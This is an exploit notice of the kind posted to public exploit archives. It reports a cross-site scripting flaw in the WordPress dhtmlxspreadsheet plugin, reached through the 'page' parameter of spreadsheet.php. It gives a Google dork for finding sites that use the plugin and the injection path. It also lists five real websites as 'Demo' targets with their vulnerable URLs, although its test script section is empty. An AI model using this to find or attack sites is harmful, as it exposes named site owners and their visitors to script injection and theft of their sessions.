#******************************************************************************** # Exploit Title : Wordpress spreadsheet Plugin Cross site scripting # # Exploit Author : Ashiyane Digital Security Team # # Vendor Homepage : http://wordpress.org # # Software Link : http://downloads.wordpress.org/plugin/dhtmlxspreadsheet.2.0.zip # # Google Dork : inurl :wp-content/plugins/dhtmlxspreadsheet # # Date: 2013/10/18 # # Tested on: Windows 7 , Linux ------------------------------------------------------------------- # Exploit : Cross site scripting # # Location : [Target]/wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page=[xss] # # Script For Test : ###################### # Demo: # # http://www.artsarben.com/wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page= # # http://www.chesterbowl.org/wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page= # # http://www.homelinkamerica.com/wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page= # # http://www.meloda.org/wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page= # # http://www.womeninediscovery.org/wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page= # ###################### discovered by : ACC3SS ######################